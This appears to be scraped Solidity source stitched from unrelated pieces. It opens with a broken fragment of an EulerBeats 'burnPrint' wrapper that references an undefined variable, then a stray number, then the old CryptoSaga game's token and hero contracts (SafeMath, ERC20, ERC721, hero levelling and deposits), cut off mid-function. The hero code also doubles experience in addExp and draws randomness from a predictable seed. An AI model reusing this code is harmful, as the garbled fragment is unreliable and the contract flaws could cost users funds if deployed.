function burnPrint(uint256 seed, uint256 minimumSupply) public nonReentrant { require(burnEnabled, "Burning is disabled"); uint startBalance = address(this).balance; require(seedToPrintId[seed] > 0, "Seed does not exist"); uint256 tokenId = seedToPrintId[seed]; IEulerBeats(EulerBeats).safeTransferFrom(msg.sender, address(this), tokenId, 1, hex""); IEulerBeats(EulerBeats).setEnabled(true); IEulerBeats(EulerBeats).burnPrint(seed, minimumSupply); IEulerBeats(EulerBeats).setEnabled(false); require(success, "Refund payment failed"); } |__________________________________*/
7,222,766
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC721 interface * @dev see https://github.com/ethereum/eips/issues/721 */ contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function transfer(address _to, uint256 _tokenId) public; function approve(address _to, uint256 _tokenId) public; function takeOwnership(uint256 _tokenId) public; } /** * @title ERC721Token * Generic implementation for the required functionality of the ERC721 standard */ contract ERC721Token is ERC721 { using SafeMath for uint256; // Total amount of tokens uint256 private totalTokens; // Mapping from token ID to owner mapping (uint256 => address) private tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private tokenApprovals; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) private ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private ownedTokensIndex; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return totalTokens; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { return ownedTokens[_owner].length; } /** * @dev Gets the list of tokens owned by a given address * @param _owner address to query the tokens of * @return uint256[] representing the list of tokens owned by the passed address */ function tokensOf(address _owner) public view returns (uint256[]) { return ownedTokens[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Gets the approved address to take ownership of a given token ID * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved to take ownership of the given token ID */ function approvedFor(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Transfers the ownership of a given token ID to another address * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { clearApprovalAndTransfer(msg.sender, _to, _tokenId); } /** * @dev Approves another address to claim for the ownership of the given token ID * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { address owner = ownerOf(_tokenId); require(_to != owner); if (approvedFor(_tokenId) != 0 || _to != 0) { tokenApprovals[_tokenId] = _to; Approval(owner, _to, _tokenId); } } /** * @dev Claims the ownership of a given token ID * @param _tokenId uint256 ID of the token being claimed by the msg.sender */ function takeOwnership(uint256 _tokenId) public { require(isApprovedFor(msg.sender, _tokenId)); clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId); } /** * @dev Mint token function * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addToken(_to, _tokenId); Transfer(0x0, _to, _tokenId); } /** * @dev Burns a specific token * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal { if (approvedFor(_tokenId) != 0) { clearApproval(msg.sender, _tokenId); } removeToken(msg.sender, _tokenId); Transfer(msg.sender, 0x0, _tokenId); } /** * @dev Tells whether the msg.sender is approved for the given token ID or not * This function is not private so it can be extended in further implementations like the operatable ERC721 * @param _owner address of the owner to query the approval of * @param _tokenId uint256 ID of the token to query the approval of * @return bool whether the msg.sender is approved for the given token ID or not */ function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) { return approvedFor(_tokenId) == _owner; } /** * @dev Internal function to clear current approval and transfer the ownership of a given token ID * @param _from address which you want to send tokens from * @param _to address which you want to transfer the token to * @param _tokenId uint256 ID of the token to be transferred */ function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal { require(_to != address(0)); require(_to != ownerOf(_tokenId)); require(ownerOf(_tokenId) == _from); clearApproval(_from, _tokenId); removeToken(_from, _tokenId); addToken(_to, _tokenId); Transfer(_from, _to, _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) private { require(ownerOf(_tokenId) == _owner); tokenApprovals[_tokenId] = 0; Approval(_owner, 0, _tokenId); } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addToken(address _to, uint256 _tokenId) private { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; uint256 length = balanceOf(_to); ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; totalTokens = totalTokens.add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeToken(address _from, uint256 _tokenId) private { require(ownerOf(_tokenId) == _from); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = balanceOf(_from).sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; tokenOwner[_tokenId] = 0; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; totalTokens = totalTokens.sub(1); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title AccessDeposit * @dev Adds grant/revoke functions to the contract. */ contract AccessDeposit is Claimable { // Access for adding deposit. mapping(address => bool) private depositAccess; // Modifier for accessibility to add deposit. modifier onlyAccessDeposit { require(msg.sender == owner || depositAccess[msg.sender] == true); _; } // @dev Grant acess to deposit heroes. function grantAccessDeposit(address _address) onlyOwner public { depositAccess[_address] = true; } // @dev Revoke acess to deposit heroes. function revokeAccessDeposit(address _address) onlyOwner public { depositAccess[_address] = false; } } /** * @title AccessDeploy * @dev Adds grant/revoke functions to the contract. */ contract AccessDeploy is Claimable { // Access for deploying heroes. mapping(address => bool) private deployAccess; // Modifier for accessibility to deploy a hero on a location. modifier onlyAccessDeploy { require(msg.sender == owner || deployAccess[msg.sender] == true); _; } // @dev Grant acess to deploy heroes. function grantAccessDeploy(address _address) onlyOwner public { deployAccess[_address] = true; } // @dev Revoke acess to deploy heroes. function revokeAccessDeploy(address _address) onlyOwner public { deployAccess[_address] = false; } } /** * @title AccessMint * @dev Adds grant/revoke functions to the contract. */ contract AccessMint is Claimable { // Access for minting new tokens. mapping(address => bool) private mintAccess; // Modifier for accessibility to define new hero types. modifier onlyAccessMint { require(msg.sender == owner || mintAccess[msg.sender] == true); _; } // @dev Grant acess to mint heroes. function grantAccessMint(address _address) onlyOwner public { mintAccess[_address] = true; } // @dev Revoke acess to mint heroes. function revokeAccessMint(address _address) onlyOwner public { mintAccess[_address] = false; } } /** * @title Gold * @dev ERC20 Token that can be minted. */ contract Gold is StandardToken, Claimable, AccessMint { string public constant name = "Gold"; string public constant symbol = "G"; uint8 public constant decimals = 18; // Event that is fired when minted. event Mint( address indexed _to, uint256 indexed _tokenId ); // @dev Mint tokens with _amount to the address. function mint(address _to, uint256 _amount) onlyAccessMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } } /** * @title CryptoSaga Card * @dev ERC721 Token that repesents CryptoSaga's cards. * Buy consuming a card, players of CryptoSaga can get a heroe. */ contract CryptoSagaCard is ERC721Token, Claimable, AccessMint { string public constant name = "CryptoSaga Card"; string public constant symbol = "CARD"; // Rank of the token. mapping(uint256 => uint8) public tokenIdToRank; // The number of tokens ever minted. uint256 public numberOfTokenId; // The converter contract. CryptoSagaCardSwap private swapContract; // Event that should be fired when card is converted. event CardSwap(address indexed _by, uint256 _tokenId, uint256 _rewardId); // @dev Set the address of the contract that represents CryptoSaga Cards. function setCryptoSagaCardSwapContract(address _contractAddress) public onlyOwner { swapContract = CryptoSagaCardSwap(_contractAddress); } function rankOf(uint256 _tokenId) public view returns (uint8) { return tokenIdToRank[_tokenId]; } // @dev Mint a new card. function mint(address _beneficiary, uint256 _amount, uint8 _rank) onlyAccessMint public { for (uint256 i = 0; i < _amount; i++) { _mint(_beneficiary, numberOfTokenId); tokenIdToRank[numberOfTokenId] = _rank; numberOfTokenId ++; } } // @dev Swap this card for reward. // The card will be burnt. function swap(uint256 _tokenId) onlyOwnerOf(_tokenId) public returns (uint256) { require(address(swapContract) != address(0)); var _rank = tokenIdToRank[_tokenId]; var _rewardId = swapContract.swapCardForReward(this, _rank); CardSwap(ownerOf(_tokenId), _tokenId, _rewardId); _burn(_tokenId); return _rewardId; } } /** * @title The interface contract for Card-For-Hero swap functionality. * @dev With this contract, a card holder can swap his/her CryptoSagaCard for reward. * This contract is intended to be inherited by CryptoSagaCardSwap implementation contracts. */ contract CryptoSagaCardSwap is Ownable { // Card contract. address internal cardAddess; // Modifier for accessibility to define new hero types. modifier onlyCard { require(msg.sender == cardAddess); _; } // @dev Set the address of the contract that represents ERC721 Card. function setCardContract(address _contractAddress) public onlyOwner { cardAddess = _contractAddress; } // @dev Convert card into reward. // This should be implemented by CryptoSagaCore later. function swapCardForReward(address _by, uint8 _rank) onlyCard public returns (uint256); } /** * @title CryptoSagaHero * @dev The token contract for the hero. * Also a superset of the ERC721 standard that allows for the minting * of the non-fungible tokens. */ contract CryptoSagaHero is ERC721Token, Claimable, Pausable, AccessMint, AccessDeploy, AccessDeposit { string public constant name = "CryptoSaga Hero"; string public constant symbol = "HERO"; struct HeroClass { // ex) Soldier, Knight, Fighter... string className; // 0: Common, 1: Uncommon, 2: Rare, 3: Heroic, 4: Legendary. uint8 classRank; // 0: Human, 1: Celestial, 2: Demon, 3: Elf, 4: Dark Elf, 5: Yogoe, 6: Furry, 7: Dragonborn, 8: Undead, 9: Goblin, 10: Troll, 11: Slime, and more to come. uint8 classRace; // How old is this hero class? uint32 classAge; // 0: Fighter, 1: Rogue, 2: Mage. uint8 classType; // Possible max level of this class. uint32 maxLevel; // 0: Water, 1: Fire, 2: Nature, 3: Light, 4: Darkness. uint8 aura; // Base stats of this hero type. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] baseStats; // Minimum IVs for stats. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] minIVForStats; // Maximum IVs for stats. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] maxIVForStats; // Number of currently instanced heroes. uint32 currentNumberOfInstancedHeroes; } struct HeroInstance { // What is this hero's type? ex) John, Sally, Mark... uint32 heroClassId; // Individual hero's name. string heroName; // Current level of this hero. uint32 currentLevel; // Current exp of this hero. uint32 currentExp; // Where has this hero been deployed? (0: Never depolyed ever.) ex) Dungeon Floor #1, Arena #5... uint32 lastLocationId; // When a hero is deployed, it takes time for the hero to return to the base. This is in Unix epoch. uint256 availableAt; // Current stats of this hero. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] currentStats; // The individual value for this hero's stats. // This will affect the current stats of heroes. // 0: ATK 1: DEF 2: AGL 3: LUK 4: HP. uint32[5] ivForStats; } // Required exp for level up will increase when heroes level up. // This defines how the value will increase. uint32 public requiredExpIncreaseFactor = 100; // Required Gold for level up will increase when heroes level up. // This defines how the value will increase. uint256 public requiredGoldIncreaseFactor = 1000000000000000000; // Existing hero classes. mapping(uint32 => HeroClass) public heroClasses; // The number of hero classes ever defined. uint32 public numberOfHeroClasses; // Existing hero instances. // The key is _tokenId. mapping(uint256 => HeroInstance) public tokenIdToHeroInstance; // The number of tokens ever minted. This works as the serial number. uint256 public numberOfTokenIds; // Gold contract. Gold public goldContract; // Deposit of players (in Gold). mapping(address => uint256) public addressToGoldDeposit; // Random seed. uint32 private seed = 0; // Event that is fired when a hero type defined. event DefineType( address indexed _by, uint32 indexed _typeId, string _className ); // Event that is fired when a hero is upgraded. event LevelUp( address indexed _by, uint256 indexed _tokenId, uint32 _newLevel ); // Event that is fired when a hero is deployed. event Deploy( address indexed _by, uint256 indexed _tokenId, uint32 _locationId, uint256 _duration ); // @dev Get the class's entire infomation. function getClassInfo(uint32 _classId) external view returns (string className, uint8 classRank, uint8 classRace, uint32 classAge, uint8 classType, uint32 maxLevel, uint8 aura, uint32[5] baseStats, uint32[5] minIVs, uint32[5] maxIVs) { var _cl = heroClasses[_classId]; return (_cl.className, _cl.classRank, _cl.classRace, _cl.classAge, _cl.classType, _cl.maxLevel, _cl.aura, _cl.baseStats, _cl.minIVForStats, _cl.maxIVForStats); } // @dev Get the class's name. function getClassName(uint32 _classId) external view returns (string) { return heroClasses[_classId].className; } // @dev Get the class's rank. function getClassRank(uint32 _classId) external view returns (uint8) { return heroClasses[_classId].classRank; } // @dev Get the heroes ever minted for the class. function getClassMintCount(uint32 _classId) external view returns (uint32) { return heroClasses[_classId].currentNumberOfInstancedHeroes; } // @dev Get the hero's entire infomation. function getHeroInfo(uint256 _tokenId) external view returns (uint32 classId, string heroName, uint32 currentLevel, uint32 currentExp, uint32 lastLocationId, uint256 availableAt, uint32[5] currentStats, uint32[5] ivs, uint32 bp) { HeroInstance memory _h = tokenIdToHeroInstance[_tokenId]; var _bp = _h.currentStats[0] + _h.currentStats[1] + _h.currentStats[2] + _h.currentStats[3] + _h.currentStats[4]; return (_h.heroClassId, _h.heroName, _h.currentLevel, _h.currentExp, _h.lastLocationId, _h.availableAt, _h.currentStats, _h.ivForStats, _bp); } // @dev Get the hero's class id. function getHeroClassId(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].heroClassId; } // @dev Get the hero's name. function getHeroName(uint256 _tokenId) external view returns (string) { return tokenIdToHeroInstance[_tokenId].heroName; } // @dev Get the hero's level. function getHeroLevel(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].currentLevel; } // @dev Get the hero's location. function getHeroLocation(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].lastLocationId; } // @dev Get the time when the hero become available. function getHeroAvailableAt(uint256 _tokenId) external view returns (uint256) { return tokenIdToHeroInstance[_tokenId].availableAt; } // @dev Get the hero's BP. function getHeroBP(uint256 _tokenId) public view returns (uint32) { var _tmp = tokenIdToHeroInstance[_tokenId].currentStats; return (_tmp[0] + _tmp[1] + _tmp[2] + _tmp[3] + _tmp[4]); } // @dev Get the hero's required gold for level up. function getHeroRequiredGoldForLevelUp(uint256 _tokenId) public view returns (uint256) { return (uint256(2) ** (tokenIdToHeroInstance[_tokenId].currentLevel / 10)) * requiredGoldIncreaseFactor; } // @dev Get the hero's required exp for level up. function getHeroRequiredExpForLevelUp(uint256 _tokenId) public view returns (uint32) { return ((tokenIdToHeroInstance[_tokenId].currentLevel + 2) * requiredExpIncreaseFactor); } // @dev Get the deposit of gold of the player. function getGoldDepositOfAddress(address _address) external view returns (uint256) { return addressToGoldDeposit[_address]; } // @dev Get the token id of the player's #th token. function getTokenIdOfAddressAndIndex(address _address, uint256 _index) external view returns (uint256) { return tokensOf(_address)[_index]; } // @dev Get the total BP of the player. function getTotalBPOfAddress(address _address) external view returns (uint32) { var _tokens = tokensOf(_address); uint32 _totalBP = 0; for (uint256 i = 0; i < _tokens.length; i ++) { _totalBP += getHeroBP(_tokens[i]); } return _totalBP; } // @dev Set the hero's name. function setHeroName(uint256 _tokenId, string _name) onlyOwnerOf(_tokenId) public { tokenIdToHeroInstance[_tokenId].heroName = _name; } // @dev Set the address of the contract that represents ERC20 Gold. function setGoldContract(address _contractAddress) onlyOwner public { goldContract = Gold(_contractAddress); } // @dev Set the required golds to level up a hero. function setRequiredExpIncreaseFactor(uint32 _value) onlyOwner public { requiredExpIncreaseFactor = _value; } // @dev Set the required golds to level up a hero. function setRequiredGoldIncreaseFactor(uint256 _value) onlyOwner public { requiredGoldIncreaseFactor = _value; } // @dev Contructor. function CryptoSagaHero(address _goldAddress) public { require(_goldAddress != address(0)); // Assign Gold contract. setGoldContract(_goldAddress); // Initial heroes. // Name, Rank, Race, Age, Type, Max Level, Aura, Stats. defineType("Archangel", 4, 1, 13540, 0, 99, 3, [uint32(74), 75, 57, 99, 95], [uint32(8), 6, 8, 5, 5], [uint32(8), 10, 10, 6, 6]); defineType("Shadowalker", 3, 4, 134, 1, 75, 4, [uint32(45), 35, 60, 80, 40], [uint32(3), 2, 10, 4, 5], [uint32(5), 5, 10, 7, 5]); defineType("Pyromancer", 2, 0, 14, 2, 50, 1, [uint32(50), 28, 17, 40, 35], [uint32(5), 3, 2, 3, 3], [uint32(8), 4, 3, 4, 5]); defineType("Magician", 1, 3, 224, 2, 30, 0, [uint32(35), 15, 25, 25, 30], [uint32(3), 1, 2, 2, 2], [uint32(5), 2, 3, 3, 3]); defineType("Farmer", 0, 0, 59, 0, 15, 2, [uint32(10), 22, 8, 15, 25], [uint32(1), 2, 1, 1, 2], [uint32(1), 3, 1, 2, 3]); } // @dev Define a new hero type (class). function defineType(string _className, uint8 _classRank, uint8 _classRace, uint32 _classAge, uint8 _classType, uint32 _maxLevel, uint8 _aura, uint32[5] _baseStats, uint32[5] _minIVForStats, uint32[5] _maxIVForStats) onlyOwner public { require(_classRank < 5); require(_classType < 3); require(_aura < 5); require(_minIVForStats[0] <= _maxIVForStats[0] && _minIVForStats[1] <= _maxIVForStats[1] && _minIVForStats[2] <= _maxIVForStats[2] && _minIVForStats[3] <= _maxIVForStats[3] && _minIVForStats[4] <= _maxIVForStats[4]); HeroClass memory _heroType = HeroClass({ className: _className, classRank: _classRank, classRace: _classRace, classAge: _classAge, classType: _classType, maxLevel: _maxLevel, aura: _aura, baseStats: _baseStats, minIVForStats: _minIVForStats, maxIVForStats: _maxIVForStats, currentNumberOfInstancedHeroes: 0 }); // Save the hero class. heroClasses[numberOfHeroClasses] = _heroType; // Fire event. DefineType(msg.sender, numberOfHeroClasses, _heroType.className); // Increment number of hero classes. numberOfHeroClasses ++; } // @dev Mint a new hero, with _heroClassId. function mint(address _owner, uint32 _heroClassId) onlyAccessMint public returns (uint256) { require(_owner != address(0)); require(_heroClassId < numberOfHeroClasses); // The information of the hero's class. var _heroClassInfo = heroClasses[_heroClassId]; // Mint ERC721 token. _mint(_owner, numberOfTokenIds); // Build random IVs for this hero instance. uint32[5] memory _ivForStats; uint32[5] memory _initialStats; for (uint8 i = 0; i < 5; i++) { _ivForStats[i] = (random(_heroClassInfo.maxIVForStats[i] + 1, _heroClassInfo.minIVForStats[i])); _initialStats[i] = _heroClassInfo.baseStats[i] + _ivForStats[i]; } // Temporary hero instance. HeroInstance memory _heroInstance = HeroInstance({ heroClassId: _heroClassId, heroName: "", currentLevel: 1, currentExp: 0, lastLocationId: 0, availableAt: now, currentStats: _initialStats, ivForStats: _ivForStats }); // Save the hero instance. tokenIdToHeroInstance[numberOfTokenIds] = _heroInstance; // Increment number of token ids. // This will only increment when new token is minted, and will never be decemented when the token is burned. numberOfTokenIds ++; // Increment instanced number of heroes. _heroClassInfo.currentNumberOfInstancedHeroes ++; return numberOfTokenIds - 1; } // @dev Set where the heroes are deployed, and when they will return. // This is intended to be called by Dungeon, Arena, Guild contracts. function deploy(uint256 _tokenId, uint32 _locationId, uint256 _duration) onlyAccessDeploy public returns (bool) { // The hero should be possessed by anybody. require(ownerOf(_tokenId) != address(0)); var _heroInstance = tokenIdToHeroInstance[_tokenId]; // The character should be avaiable. require(_heroInstance.availableAt <= now); _heroInstance.lastLocationId = _locationId; _heroInstance.availableAt = now + _duration; // As the hero has been deployed to another place, fire event. Deploy(msg.sender, _tokenId, _locationId, _duration); } // @dev Add exp. // This is intended to be called by Dungeon, Arena, Guild contracts. function addExp(uint256 _tokenId, uint32 _exp) onlyAccessDeploy public returns (bool) { // The hero should be possessed by anybody. require(ownerOf(_tokenId) != address(0)); var _heroInstance = tokenIdToHeroInstance[_tokenId]; var _newExp = _heroInstance.currentExp + _exp; // Sanity check to ensure we don't overflow. require(_newExp == uint256(uint128(_newExp))); _heroInstance.currentExp += _newExp; } // @dev Add deposit. // This is intended to be called by Dungeon, Arena, Guild contracts. function addDeposit(address _to, uint256 _amount) onlyAccessDeposit public { // Increment deposit. addressToGoldDeposit[_to] += _amount; } // @dev Level up the hero with _tokenId. // This function is called by the owner of the hero. function levelUp(uint256 _tokenId) onlyOwnerOf(_tokenId) whenNotPaused public { // Hero instance. var _heroInstance = tokenIdToHeroInstance[_tokenId]; // The character should be avaiable. (Should have already returned from the dungeons, arenas, etc.) require(_heroInstance.availableAt <= now); // The information of the hero's class. var _heroClassInfo = heroClasses[_heroInstance.heroClassId]; // Hero shouldn't level up exceed its max level. require(_heroInstance.currentLevel < _heroClassInfo.maxLevel); // Required Exp. var requiredExp = getHeroRequiredExpForLevelUp(_tokenId); // Need to have enough exp. require(_heroInstance.currentExp >= requiredExp); // Required Gold. var requiredGold = getHeroRequiredGoldForLevelUp(_tokenId); // Owner of token. var _ownerOfToken = ownerOf(_tokenId); // Need to have enough Gold balance. require(addressToGoldDeposit[_ownerOfToken] >= requiredGold); // Increase Level. _heroInstance.currentLevel += 1; // Increase Stats. for (uint8 i = 0; i < 5; i++) { _heroInstance.currentStats[i] = _heroClassInfo.baseStats[i] + (_heroInstance.currentLevel - 1) * _heroInstance.ivForStats[i]; } // Deduct exp. _heroInstance.currentExp -= requiredExp; // Deduct gold. addressToGoldDeposit[_ownerOfToken] -= requiredGold; // Fire event. LevelUp(msg.sender, _tokenId, _heroInstance.currentLevel); } // @dev Transfer deposit (with the allowance pattern.) function transferDeposit(uint256 _amount) whenNotPaused public { require(goldContract.allowance(msg.sender, this) >= _amount); // Send msg.sender's Gold to this contract. if (goldContract.transferFrom(msg.sender, this, _amount)) { // Increment deposit. addressToGoldDeposit[msg.sender] += _amount; } } // @dev Withdraw deposit. function withdrawDeposit(uint256 _amount) public { require(addressToGoldDeposit[msg.sender] >= _amount); // Send deposit of Golds to msg.sender. (Rather minting...) if (goldContract.transfer(msg.sender, _amount)) { // Decrement deposit. addressToGoldDeposit[msg.sender] -= _amount; } } // @dev return a pseudo random number between lower and upper bounds function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = 